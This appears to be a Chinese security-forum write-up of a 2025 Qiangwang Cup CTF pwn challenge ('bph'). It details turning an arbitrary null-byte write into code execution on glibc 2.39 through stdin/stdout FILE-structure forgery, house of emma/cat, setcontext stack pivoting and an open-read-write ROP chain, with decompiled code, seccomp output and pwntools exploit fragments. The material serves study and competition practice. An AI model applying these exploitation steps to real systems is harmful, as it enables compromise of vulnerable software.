首页
社区
课程
招聘
[原创]2025 强网杯S9 pwn - bph 复盘详解:一个任意地址写00到RCE的新技巧
发表于: 2025-12-11 00:49 4798

[原创]2025 强网杯S9 pwn - bph 复盘详解:一个任意地址写00到RCE的新技巧

2025-12-11 00:49
4798

文章首发自 先知社区:179K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6^5P5W2)9J5k6h3q4D9K9i4W2#2L8W2)9J5k6h3y4G2L8g2)9J5c8X3&6W2N6%4y4Q4x3V1j5I4z5e0t1#2z5l9`.`.

pwn的技巧都跟魔法一样,一瞬间,发生了很多事情,如果不了解原理,那真的很难理解了,这里和大家分享一下 强网杯S9 pwn-bph题目的魔法般的技巧(内含glibc-2.39源码&反汇编进行辅助讲解

xx一把梭搞得很多并不简单的题目分都烂了

条件:当得到任意地址写00,且程序存在利用IO_FILE获取输入的场景时,例如:fgets,fread等

流程:

可以向stdin->_IO_buf_base末位写入00,扩大输入缓冲区以至于能够覆盖stdin的输入缓冲区指针

控制输入缓冲区指针指向stdout(利用下次输出时候的虚指针调用),或者stderr(利用exit流程的虚指针调用)

再次输入可以覆盖目标IO_FILE结构,为后续利用做准备

利用 puts:_IO_sputn(vtable+0x38)的调用,配合house of emma + house of cat组合完成控制流劫持

此题目存在沙箱,所以后续还需要进行栈迁移打ROP,具体思路就是伪造IO结构控制rdx,通过setcontext+61栈迁移进行ROP,ROP ORW绕过沙箱读取flag

具体流程和分析过程看下面今年强网的题目分析吧

glibc 2.39 版本(目前最新的大版本),程序保护全开:

存在沙箱:

只能使用openat,read,write这些系统调用

open函数内部调用的系统调用就是openat:(来自 glibc-2.39 源码)

最终需要通过open-read-write完成flag的读取

main 函数:

这里init函数初始化了2个全局变量:size和ptr

sub_1640函数提供了泄露地址的机会:可以利用残留数据泄露地址

功能函数中只有create和delete实现了,其他两个没实现功能

create:读取size,申请内存,读取数据,写入末尾的00,设置ptr和dword_4040=1

**假如输入的size过大,malloc会失败返回0,read也会失败,但是 ptr+size-1=0****依然会执行,就会对 size-1=0**进行赋值,此处存在任意地址写入00字节

delete:检查dword_4040和ptr,如果存在ptr且dword_4040=0,才能执行free,这个条件不可能存在,所以可以认为这个函数不存在,不用再看了

程序逻辑很简单,就一次任意大小分配+末尾写入00字节的功能

分析一下现状:

glibc-2.39 版本,保护全开

存在地址泄露,可以泄露libc地址

存在任意地址写入00字节

通过fgets读取输入

思路:精准满足3个条件,这里可以用从任意地址写入 00 到 RCE的技巧:

向stdin的IO_FILE结构体中_IO_buf_base末位写入00,就可以在下一次输入的时候,将输入的数据读取到输入缓冲区base到end的位置上,通过向末位写入00,可以让base指针指向更提前的地方,以至于下一次写入能够完整覆盖_IO_buf_base和_IO_buf_end

下一次写入修改stdin的_IO_buf_base和_IO_buf_end为能够覆盖 stdout 结构体的范围,再下一次读取数据便可以完整覆盖stdout

利用程序中会调用puts函数,puts函数会调用 _IO_sputn函数指针,通过house of emma偏移vtable指针的思想,即可通过调整偏移伪造FILE结构完成利用

对于沙箱,则通过setcontext来绕过即可

利用残留数据泄露libc地址:

通过构造size = stdin->_IO_buf_base + 1,进入create函数,触发任意地址写00

写入00后的stdin:这里+0x38处就是_IO_buf_base,+0x40处就是_IO_buf_end,可以看到,范围从0x7ffff7f90964(原本缓冲区就1字节)变到0x7ffff7f90900~0x7ffff7f90964,范围刚好覆盖到这个_IO_buf_base和_IO_buf_end

下一次输入的时候,输入缓冲区会从0x7ffff7f90900开始,需要伪造0x7ffff7f90900开始的数据:

这里只用管_IO_buf_base和_IO_buf_end的值,前面的值会自动更新的,让他刚好覆盖到stdout结构体即可,覆盖完之后:

下一次输入的时候,输入缓冲区就会覆盖到stdout结构体,现在可以伪造stdout结构了,利用puts的 _IO_sputn调用进行利用

摘出来:

r13是stdout指针

需要第一个跳转不成立,第二个成立

最小化payload,可以让+0xa0和当前IO_FILE结构重叠,指向stdout本身

需要

+0x8 和 +0x10不同,这个不用管,+0x10会自动赋值,必然和+0x8的不一样

+0x18 < +0x20

rdx 可控, 接下来的赋值:需要用到+0x20的值,+0x20也设置为fp

此时的+0x18需要满足上面的条件且为一个libc中代码段地址(gadget):

此时内存布局,stdout的位置如下,可见gadget地址一定小于fp地址

接下来的流程:

需要[rax+18] < [rax+0x20] 来规避跳转,这个问题刚刚已经解决了

[rax + 0xe0] 也重叠 fp,最后call到 +0x18处

payload:

对于寄存器的控制:rdx = [fp+0x20]

setcontext+61:需要可控rdx就能控制寄存器的值,因为需要rop,所以需要控制rsp的值,然后最后通过ret进入rop链中,此时已经不再需要IO结构体了,可以损坏IO结构,在这片内存上任意挥霍,最简单的思路就是跳转到read上,写入数据到rsp里开始rop

+0xa0已经设置为fp了,会被赋值给rsp

这里最后经过push操作,在ret的之后,rsp指向 _IO_2_1_stderr_+216,也就是push的值:[rdx+0xa8],这里是ret跳转的地址

直接跳转到read,控制rdi=0,rsi=fp,rdx=size,rdx=[fp+0x88],数字过大,read调用会失败,需要再次进入setcontext重新设置三个寄存器的值即可,原本fp+0x88指向fp+8,只需要将需要赋值的偏移+8,最终的结构体:

完成ORW需要设置3个参数,这里的libc-2.39直接用ropper或者ROPGadget无法搜到pop rdx的片段,但是这不重要,第三个参数只要是个数字就行,是多少无所谓,直接搜mov dl的片段:

利用这个完成第三个参数的赋值即可,dl是rdx的低8位,rop的时候rdx=0,可以这么用

最终rop chain:

一个新的技巧1:任意地址写00到rce,利用IO读取(fgets)会使用IO_FILE读取缓冲区的特点,完成IO_FILE结构伪造,通过puts触发虚函数调用劫持执行流

一个新的技巧2:orw rop的时候,对于没有pop rdx的场景,找mov dl, 0x??也好使

[0] glibc-2.39 源码

[1] 堆利用详解:house of cat(含 2.35 & 2.39 IO伪造过程分析)-先知社区

Arch:       amd64-64-little
 
RELRO:      Full RELRO
 
Stack:      Canary found
 
NX:         NX enabled
 
PIE:        PIE enabled
 
FORTIFY:    Enabled
 
SHSTK:      Enabled
 
IBT:        Enabled
Arch:       amd64-64-little
 
RELRO:      Full RELRO
 
Stack:      Canary found
 
NX:         NX enabled
 
PIE:        PIE enabled
 
FORTIFY:    Enabled
 
SHSTK:      Enabled
 
IBT:        Enabled
bph_16458b9d1cc48d68ba00aa2836012b81 ➤ seccomp-tools dump ./chall
 
 line  CODE  JT   JF      K
 
=================================
 
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 
 0001: 0x15 0x00 0x0c 0xc000003e  if (A != ARCH_X86_64) goto 0014
 
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 
 0004: 0x15 0x00 0x09 0xffffffff  if (A != 0xffffffff) goto 0014
 
 0005: 0x15 0x07 0x00 0x00000000  if (A == read) goto 0013
 
 0006: 0x15 0x06 0x00 0x00000001  if (A == write) goto 0013
 
 0007: 0x15 0x05 0x00 0x00000003  if (A == close) goto 0013
 
 0008: 0x15 0x04 0x00 0x00000009  if (A == mmap) goto 0013
 
 0009: 0x15 0x03 0x00 0x0000000c  if (A == brk) goto 0013
 
 0010: 0x15 0x02 0x00 0x0000003c  if (A == exit) goto 0013
 
 0011: 0x15 0x01 0x00 0x000000e7  if (A == exit_group) goto 0013
 
 0012: 0x15 0x00 0x01 0x00000101  if (A != openat) goto 0014
 
 0013: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 
 0014: 0x06 0x00 0x00 0x00000000  return KILL
bph_16458b9d1cc48d68ba00aa2836012b81 ➤ seccomp-tools dump ./chall
 
 line  CODE  JT   JF      K
 
=================================
 
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 
 0001: 0x15 0x00 0x0c 0xc000003e  if (A != ARCH_X86_64) goto 0014
 
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 
 0004: 0x15 0x00 0x09 0xffffffff  if (A != 0xffffffff) goto 0014
 
 0005: 0x15 0x07 0x00 0x00000000  if (A == read) goto 0013
 
 0006: 0x15 0x06 0x00 0x00000001  if (A == write) goto 0013
 
 0007: 0x15 0x05 0x00 0x00000003  if (A == close) goto 0013
 
 0008: 0x15 0x04 0x00 0x00000009  if (A == mmap) goto 0013
 
 0009: 0x15 0x03 0x00 0x0000000c  if (A == brk) goto 0013
 
 0010: 0x15 0x02 0x00 0x0000003c  if (A == exit) goto 0013
 
 0011: 0x15 0x01 0x00 0x000000e7  if (A == exit_group) goto 0013
 
 0012: 0x15 0x00 0x01 0x00000101  if (A != openat) goto 0014
 
 0013: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 
 0014: 0x06 0x00 0x00 0x00000000  return KILL
int
 
__libc_open (const char *file, int oflag, ...)
 
{
 
  int mode = 0;
 
 
 
  if (__OPEN_NEEDS_MODE (oflag))
 
    {
 
      va_list arg;
 
      va_start (arg, oflag);
 
      mode = va_arg (arg, int);
 
      va_end (arg);
 
    }
 
 
 
  return SYSCALL_CANCEL (openat, AT_FDCWD, file, oflag, mode);
 
}
 
libc_hidden_def (__libc_open)
int
 
__libc_open (const char *file, int oflag, ...)
 
{
 
  int mode = 0;
 
 
 
  if (__OPEN_NEEDS_MODE (oflag))
 
    {
 
      va_list arg;
 
      va_start (arg, oflag);
 
      mode = va_arg (arg, int);
 
      va_end (arg);
 
    }
 
 
 
  return SYSCALL_CANCEL (openat, AT_FDCWD, file, oflag, mode);
 
}
 
libc_hidden_def (__libc_open)
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
 
{
 
  char s[40]; // [rsp+0h] [rbp-68h] BYREF
 
  unsigned __int64 v5; // [rsp+28h] [rbp-40h]
 
 
 
  v5 = __readfsqword(0x28u);
 
  init(a1, a2, a3);
 
  set_sandbox();
 
  sub_1640();                                   // 可泄露地址
 
  while ( 2 )
 
  {
 
    while ( 1 )
 
    {
 
      puts("");
 
      puts("1) Create note");
 
      puts("2) Edit note");
 
      puts("3) View note");
 
      puts("4) Delete note");
 
      puts("6) Exit");
 
      __printf_chk(2, "Choice: ");
 
      if ( fgets(s, 32, stdin) )                // fgets
 
        break;
 
LABEL_9:
 
      puts("bad choice");
 
    }
 
    switch ( (unsigned int)__isoc23_strtol(s, 0, 10) )
 
    {
 
      case 1u:
 
        create();                               // 任意地址写入00
 
        continue;
 
      case 2u:
 
        sub_1930();                             // 未实现
 
        continue;
 
      case 3u:
 
        __printf_chk(2, "Index: ");
 
        sub_1710();                             // 未实现
 
        continue;
 
      case 4u:
 
        sub_1A50();                             // 不可用
 
        continue;
 
      case 6u:
 
        puts("bye");
 
        return 0;
 
      default:
 
        goto LABEL_9;
 
    }
 
  }
 
}
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
 
{
 
  char s[40]; // [rsp+0h] [rbp-68h] BYREF
 
  unsigned __int64 v5; // [rsp+28h] [rbp-40h]
 
 
 
  v5 = __readfsqword(0x28u);
 
  init(a1, a2, a3);
 
  set_sandbox();
 
  sub_1640();                                   // 可泄露地址
 
  while ( 2 )
 
  {
 
    while ( 1 )
 
    {
 
      puts("");
 
      puts("1) Create note");
 
      puts("2) Edit note");
 
      puts("3) View note");
 
      puts("4) Delete note");
 
      puts("6) Exit");
 
      __printf_chk(2, "Choice: ");
 
      if ( fgets(s, 32, stdin) )                // fgets
 
        break;
 
LABEL_9:
 
      puts("bad choice");
 
    }
 
    switch ( (unsigned int)__isoc23_strtol(s, 0, 10) )
 
    {
 
      case 1u:
 
        create();                               // 任意地址写入00
 
        continue;
 
      case 2u:
 
        sub_1930();                             // 未实现
 
        continue;
 
      case 3u:
 
        __printf_chk(2, "Index: ");
 
        sub_1710();                             // 未实现
 
        continue;
 
      case 4u:
 
        sub_1A50();                             // 不可用
 
        continue;
 
      case 6u:
 
        puts("bye");
 
        return 0;
 
      default:
 
        goto LABEL_9;
 
    }
 
  }
 
}
int init()
 
{
 
  int result; // eax
 
 
 
  setvbuf(stdin, 0, 2, 0);
 
  result = setvbuf(stdout, 0, 2, 0);
 
  size = 0;
 
  ptr = 0;
 
  return result;
 
}
int init()
 
{
 
  int result; // eax
 
 
 
  setvbuf(stdin, 0, 2, 0);
 
  result = setvbuf(stdout, 0, 2, 0);
 
  size = 0;
 
  ptr = 0;
 
  return result;
 
}
unsigned __int64 sub_1640()
 
{
 
  char buf[88]; // [rsp+0h] [rbp-68h] BYREF
 
  unsigned __int64 v2; // [rsp+58h] [rbp-10h]
 
 
 
  v2 = __readfsqword(0x28u);
 
  puts("=== Tiny Service ===");
 
  __printf_chk(2, "Please input your token: ");
 
  read(0, buf, 0x50u);
 
  __printf_chk(2, "Your token is %s.\n", buf);
 
  return v2 - __readfsqword(0x28u);
 
}
unsigned __int64 sub_1640()
 
{
 
  char buf[88]; // [rsp+0h] [rbp-68h] BYREF
 
  unsigned __int64 v2; // [rsp+58h] [rbp-10h]
 
 
 
  v2 = __readfsqword(0x28u);
 
  puts("=== Tiny Service ===");
 
  __printf_chk(2, "Please input your token: ");
 
  read(0, buf, 0x50u);
 
  __printf_chk(2, "Your token is %s.\n", buf);
 
  return v2 - __readfsqword(0x28u);
 
}
int create()
 
{
 
  __int64 v0; // rax
 
  size_t size_1; // rbx
 
  void *ptr; // rax
 
  size_t size; // [rsp+0h] [rbp-18h] BYREF
 
  unsigned __int64 v5; // [rsp+8h] [rbp-10h]
 
 
 
  v5 = __readfsqword(0x28u);
 
  if ( ptr || dword_4040 )
 
  {
 
    LODWORD(v0) = puts("No free slots.");
 
  }
 
  else
 
  {
 
    __printf_chk(2, "Size: ");
 
    __isoc23_scanf("%zu", &size);               // 读取size
 
    getc(stdin);
 
    size_1 = size;
 
    ptr = malloc(size);                         // 申请内存
 
    ::size = size_1;
 
    ptr = ptr;
 
    __printf_chk(2, "Content: ");
 
    read(0, ptr, size);                         // 读取数据
 
    *((char *)ptr + size - 1) = 0;              // 写入00
 
    __printf_chk(2, "Created note %d\n", 0);
 
    dword_4040 = 1;
 
    return v5 - __readfsqword(0x28u);
 
  }
 
  return v0;
 
}
int create()
 
{
 
  __int64 v0; // rax
 
  size_t size_1; // rbx
 
  void *ptr; // rax
 
  size_t size; // [rsp+0h] [rbp-18h] BYREF
 
  unsigned __int64 v5; // [rsp+8h] [rbp-10h]
 
 
 
  v5 = __readfsqword(0x28u);
 
  if ( ptr || dword_4040 )
 
  {
 
    LODWORD(v0) = puts("No free slots.");
 
  }
 
  else
 
  {
 
    __printf_chk(2, "Size: ");
 
    __isoc23_scanf("%zu", &size);               // 读取size
 
    getc(stdin);
 
    size_1 = size;
 
    ptr = malloc(size);                         // 申请内存
 
    ::size = size_1;
 
    ptr = ptr;
 
    __printf_chk(2, "Content: ");
 
    read(0, ptr, size);                         // 读取数据
 
    *((char *)ptr + size - 1) = 0;              // 写入00
 
    __printf_chk(2, "Created note %d\n", 0);
 
    dword_4040 = 1;
 
    return v5 - __readfsqword(0x28u);
 
  }
 
  return v0;
 
}
int sub_1A50()
 
{
 
  char s[40]; // [rsp+0h] [rbp-38h] BYREF
 
  unsigned __int64 v2; // [rsp+28h] [rbp-10h]
 
 
 
  v2 = __readfsqword(0x28u);
 
  __printf_chk(2, "Index: ");
 
  if ( !fgets(s, 32, stdin) || dword_4040 | (unsigned int)__isoc23_strtol(s, 0, 10) )
 
    return puts("invalid");
 
  if ( !ptr )
 
    return puts("already empty");
 
  free(ptr);
 
  ptr = 0;
 
  size = 0;
 
  return puts("Deleted (pointer left dangling).");
 
}
int sub_1A50()
 
{
 
  char s[40]; // [rsp+0h] [rbp-38h] BYREF
 
  unsigned __int64 v2; // [rsp+28h] [rbp-10h]
 
 
 
  v2 = __readfsqword(0x28u);
 
  __printf_chk(2, "Index: ");
 
  if ( !fgets(s, 32, stdin) || dword_4040 | (unsigned int)__isoc23_strtol(s, 0, 10) )
 
    return puts("invalid");
 
  if ( !ptr )
 
    return puts("already empty");
 
  free(ptr);
 
  ptr = 0;
 
  size = 0;
 
  return puts("Deleted (pointer left dangling).");
 
}
payload = cyclic(0x28)
 
sa(b"token: ",payload)
 
ru(cyclic(0x28))
 
leak = r(6).ljust(8,b"\x00")
 
leak = unpack(leak) - 126
 
success(f"leak: {hex(leak)}")
 
 
 
libc.address = leak - libc.sym.free
 
success(f"libc base: {hex(libc.address)}")
payload = cyclic(0x28)
 
sa(b"token: ",payload)
 
ru(cyclic(0x28))
 
leak = r(6).ljust(8,b"\x00")
 
leak = unpack(leak) - 126
 
success(f"leak: {hex(leak)}")
 
 
 
libc.address = leak - libc.sym.free
 
success(f"libc base: {hex(libc.address)}")
target = libc.address +0x203918
 
success(f"target: {hex(target)}")
 
sla(b"Choice: ",b"1")
 
sla(b"Size: ",str(target+1).encode())
 
sa(b": ",b"aaaa")
target = libc.address +0x203918
 
success(f"target: {hex(target)}")
 
sla(b"Choice: ",b"1")
 
sla(b"Size: ",str(target+1).encode())
 
sa(b": ",b"aaaa")
pwndbg> x/40xga &_IO_2_1_stdin_
 
0x7ffff7f908e0 <_IO_2_1_stdin_>:        0xfbad20ab      0x7ffff7f90900 <_IO_2_1_stdin_+32>
 
0x7ffff7f908f0 <_IO_2_1_stdin_+16>:     0x7ffff7f90900 <_IO_2_1_stdin_+32>      0x7ffff7f90900 <_IO_2_1_stdin_+32>
 
0x7ffff7f90900 <_IO_2_1_stdin_+32>:     0x7ffff7f90900 <_IO_2_1_stdin_+32>      0x7ffff7f90900 <_IO_2_1_stdin_+32>
 
0x7ffff7f90910 <_IO_2_1_stdin_+48>:     0x7ffff7f90900 <_IO_2_1_stdin_+32>      0x7ffff7f90900 <_IO_2_1_stdin_+32>
 
0x7ffff7f90920 <_IO_2_1_stdin_+64>:     0x7ffff7f90964 <_IO_2_1_stdin_+132>     0x0
 
0x7ffff7f90930 <_IO_2_1_stdin_+80>:     0x0     0x0
 
0x7ffff7f90940 <_IO_2_1_stdin_+96>:     0x0     0x0
 
0x7ffff7f90950 <_IO_2_1_stdin_+112>:    0x0     0xffffffffffffffff
 
0x7ffff7f90960 <_IO_2_1_stdin_+128>:    0xa000000       0x7ffff7f92720 <_IO_stdfile_0_lock>
 
0x7ffff7f90970 <_IO_2_1_stdin_+144>:    0xffffffffffffffff      0x0
 
0x7ffff7f90980 <_IO_2_1_stdin_+160>:    0x7ffff7f909c0 <_IO_wide_data_0>        0x0
 
0x7ffff7f90990 <_IO_2_1_stdin_+176>:    0x0     0x0
 
0x7ffff7f909a0 <_IO_2_1_stdin_+192>:    0xffffffff      0x0
 
0x7ffff7f909b0 <_IO_2_1_stdin_+208>:    0x0     0x7ffff7f8f030 <_IO_file_jumps>
pwndbg> x/40xga &_IO_2_1_stdin_
 
0x7ffff7f908e0 <_IO_2_1_stdin_>:        0xfbad20ab      0x7ffff7f90900 <_IO_2_1_stdin_+32>
 
0x7ffff7f908f0 <_IO_2_1_stdin_+16>:     0x7ffff7f90900 <_IO_2_1_stdin_+32>      0x7ffff7f90900 <_IO_2_1_stdin_+32>
 
0x7ffff7f90900 <_IO_2_1_stdin_+32>:     0x7ffff7f90900 <_IO_2_1_stdin_+32>      0x7ffff7f90900 <_IO_2_1_stdin_+32>
 
0x7ffff7f90910 <_IO_2_1_stdin_+48>:     0x7ffff7f90900 <_IO_2_1_stdin_+32>      0x7ffff7f90900 <_IO_2_1_stdin_+32>
 
0x7ffff7f90920 <_IO_2_1_stdin_+64>:     0x7ffff7f90964 <_IO_2_1_stdin_+132>     0x0
 
0x7ffff7f90930 <_IO_2_1_stdin_+80>:     0x0     0x0
 
0x7ffff7f90940 <_IO_2_1_stdin_+96>:     0x0     0x0

[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!

收藏
免费 9
支持
分享
最新回复 (2)
雪    币: 2790
活跃值: (5564)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
2
66666
2025-12-24 16:16
0
雪    币: 0
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
3
1
2天前
0
游客
登录 | 注册 方可回帖
返回